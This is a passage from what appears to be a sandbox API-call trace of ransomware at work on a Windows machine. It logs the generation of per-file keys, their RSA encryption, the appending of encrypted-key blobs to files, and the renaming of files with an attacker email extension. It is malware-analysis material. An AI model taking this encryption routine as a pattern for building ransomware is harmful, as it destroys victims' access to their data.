pdwDataLen=0x2e3f988*=0x100) returned 1 [0150.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0150.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0150.046] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="ZMqkI4FdKo+SYyT5z0lnemSwXkd5H+eG3kZgj/fQgSQ3wB7oxOFYu0UfWS7wJjIK\nNRJhVQucsH7AFZFCG81/hYHwYbLXGNfVRx8PgReyhnePVJCZjwxsLfx8ZYm6TPEf\nD5aV+wgWsmHlPoS7VUAUFu6OxyPqc8sf5MXrQnMgfUBBLYXpHhzaBX8PhVMExFWx\nPe/NWC3br1MqYRI/254RIacUd9MxkoYRC16ySw2YhDcxhSKlmml/5ZYv4JOKGQXW\nD/YJ0XmfHOKRiQ+9plNczFpoCktgUqKByRr8328Vyl0exX1hfLUwV+Bb0XAENrSh\ne6HmgeQjE6mXisL2cC4TEg==\n", pcchString=0x2e3f9a8) returned 1 [0150.046] WriteFile (in: hFile=0x634, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0150.046] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.046] WriteFile (in: hFile=0x634, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.046] CloseHandle (hObject=0x634) returned 1 [0150.046] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0150.046] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\hwexclude.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwexclude.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0150.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0150.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0150.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0150.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0150.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.048] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0150.048] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt", dwFileAttributes=0x80) returned 1 [0150.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0150.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0150.048] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0150.048] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0150.049] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16497) returned 1 [0150.049] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4071) returned 0x6518a0 [0150.049] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4071) returned 0x655920 [0150.049] ReadFile (in: hFile=0x634, lpBuffer=0x6518a0, nNumberOfBytesToRead=0x4071, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6518a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4071, lpOverlapped=0x0) returned 1 [0150.188] SetFilePointer (in: hFile=0x634, lDistanceToMove=-16497, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.188] WriteFile (in: hFile=0x634, lpBuffer=0x655920*, nNumberOfBytesToWrite=0x4071, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x655920*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4071, lpOverlapped=0x0) returned 1 [0150.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6518a0 | out: hHeap=0x570000) returned 1 [0150.188] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x570000) returned 1 [0150.188] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4071 [0150.188] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.188] WriteFile (in: hFile=0x634, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.188] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0150.188] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0150.189] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0150.189] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0150.189] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="pQbPKpJpWW/Jeltmsmc7nNSJSGuiJACYQLhZNlJJobXRjmoWvmy8uvzbmPlqUFUp\n4RLlNKdnxoEAKFE4FEzwJ9C6gZNS/vWiHkqZ50w+l9HUu13lKt3WltzTvHvy9+es\nhTIS8PtjW3iARnmiFJ7n4BuZ9j5OE92QYa3AH0p0aUvKBohUCuBsLkL/BFrvAmJe\n4GO6f6To71A8QW8NkzAcrH0RRrI1ssh0jMP1KhSGEJ3bD6JtSfdqU2t43wYwPnXB\nqatx8nJymICPRRy9062eMrnynMlVuQyYcGaboUQkXohje1honUqdx06+8yPBUQfd\nszklU8N4aQ7BZJnV8VqBYw==\n", pcchString=0x2e3f9a8) returned 1 [0150.189] WriteFile (in: hFile=0x634, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0150.189] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.189] WriteFile (in: hFile=0x634, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.189] CloseHandle (hObject=0x634) returned 1 [0150.189] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0150.189] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\hwcompat.txt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\i386\\hwcompat.txt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0150.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0150.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.190] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0150.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0150.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.191] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0150.191] SetFileAttributesW (lpFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml", dwFileAttributes=0x80) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0150.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0150.191] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0150.191] CreateFileW (lpFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x634 [0150.191] GetFileSizeEx (in: hFile=0x634, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=91648) returned 1 [0150.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16600) returned 0x2e40fd8 [0150.191] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x16600) returned 0x2e575e0 [0150.192] ReadFile (in: hFile=0x634, lpBuffer=0x2e40fd8, nNumberOfBytesToRead=0x16600, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesRead=0x2e3f9b4*=0x16600, lpOverlapped=0x0) returned 1 [0150.272] SetFilePointer (in: hFile=0x634, lDistanceToMove=-91648, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0150.272] WriteFile (in: hFile=0x634, lpBuffer=0x2e575e0*, nNumberOfBytesToWrite=0x16600, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e575e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x16600, lpOverlapped=0x0) returned 1 [0150.272] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0150.273] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e575e0 | out: hHeap=0x570000) returned 1 [0150.273] SetFilePointer (in: hFile=0x634, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x16600 [0150.273] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.273] WriteFile (in: hFile=0x634, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.273] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0150.274] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0150.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0150.274] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0150.274] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="8rZysErsQLGbeRf/GdHYpLN2ulFYxyUmv3x/sG9NiyEw7nqzGIkRPwgPbt0PdPb7\nS219B2TjXGE00mJAAJe+Z2hQIFEaRK0IlRc0amyd0ZJo7mNxHtw+TMyoQm32I9oP\nJaBi6aYUgcNCi1RBSMwqkSud9n/4HcAaLZZtr6P936IyD6e3b+E/xJXotrJwqocu\nUPgAaWppz/w6REmK4b3GKjn1UxhjLAB2DZkwCtAmW8T7F24V0VeRlBSQYMQbM+0h\nmk1zW/T0P/81LjySsvepuUd+4G5LBSc/Mqv7vMdrNKFFEJI5tHfA11RTm70Ix/o3\ni+DOMvG6XFUs3ru74jJgBQ==\n", pcchString=0x2e3f9a8) returned 1 [0150.274] WriteFile (in: hFile=0x634, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0150.274] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0150.274] WriteFile (in: hFile=0x634, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0150.274] CloseHandle (hObject=0x634) returned 1 [0150.274] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0150.274] MoveFileExW (lpExistingFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml"), lpNewFileName="\\Windows10Upgrade\\resources\\i386\\BiosBlocks.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\windows10upgrade\\resources\\i386\\biosblocks.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6710 | out: hHeap=0x570000) returned 1 [0150.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7c30 | out: hHeap=0x570000) returned 1 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0150.277] FindFirstFileW (in: lpFileName="\\Windows10Upgrade\\resources\\ux\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x156d660f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630c80 [0150.277] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x570000) returned 1 [0150.277] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7be8 [0150.278] GetLastError () returned 0x0 [0150.278] SetLastError (dwErrCode=0x0) [0150.278] GetLastError () returned 0x0 [0150.278] SetLastError (dwErrCode=0x0) [0150.278] GetLastError () returned 0x0 [0150.278] SetLastError (dwErrCode=0x0) [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630b80 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630b80 | out: hHeap=0x570000) returned 1 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea3b3c1b, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea63c947, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x156d660f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7eb8 [0150.278] GetLastError () returned 0x0 [0150.278] SetLastError (dwErrCode=0x0) [0150.278] GetLastError () returned 0x0 [0150.278] SetLastError (dwErrCode=0x0) [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7eb8 | out: hHeap=0x570000) returned 1 [0150.278] GetLastError () returned 0x0 [0150.278] SetLastError (dwErrCode=0x0) [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630c00 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630c00 | out: hHeap=0x570000) returned 1 [0150.278] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40498 [0150.278] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40498 | out: hHeap=0x570000) returned 1 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b4fa7, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b4fa7, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x397, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="block.png", cAlternateFileName="")) returned 1 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79f0 [0150.279] GetLastError () returned 0x0 [0150.279] SetLastError (dwErrCode=0x0) [0150.279] GetLastError () returned 0x0 [0150.279] SetLastError (dwErrCode=0x0) [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79f0 | out: hHeap=0x570000) returned 1 [0150.279] GetLastError () returned 0x0 [0150.279] SetLastError (dwErrCode=0x0) [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0150.279] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b8a24, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b8a24, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x749e0600, ftLastWriteTime.dwHighDateTime=0x1d2ea8c, nFileSizeHigh=0x0, nFileSizeLow=0x1ba8, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bluelogo.png", cAlternateFileName="")) returned 1 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7cc0 [0150.279] GetLastError () returned 0x0 [0150.279] SetLastError (dwErrCode=0x0) [0150.279] GetLastError () returned 0x0 [0150.279] SetLastError (dwErrCode=0x0) [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cc0 | out: hHeap=0x570000) returned 1 [0150.279] GetLastError () returned 0x0 [0150.279] SetLastError (dwErrCode=0x0) [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0150.279] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3b9dbd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3b9dbd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bullet.png", cAlternateFileName="")) returned 1 [0150.279] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0150.279] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0150.279] GetLastError () returned 0x0 [0150.279] SetLastError (dwErrCode=0x0) [0150.279] GetLastError () returned 0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0150.280] GetLastError () returned 0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0150.280] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bb141, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bb141, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1687, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="default.css", cAlternateFileName="")) returned 1 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d98 [0150.280] GetLastError () returned 0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] GetLastError () returned 0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d98 | out: hHeap=0x570000) returned 1 [0150.280] GetLastError () returned 0x0 [0150.280] SetLastError (dwErrCode=0x0) [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6710 [0150.280] FindNextFileW (in: hFindFile=0x630c80, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3bc4cd, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3bc4cd, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0xf44d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="default.htm", cAlternateFileName="")) returned 1 [0150.280] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0150.280] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7eb8 [0150.280] GetLastError () returned 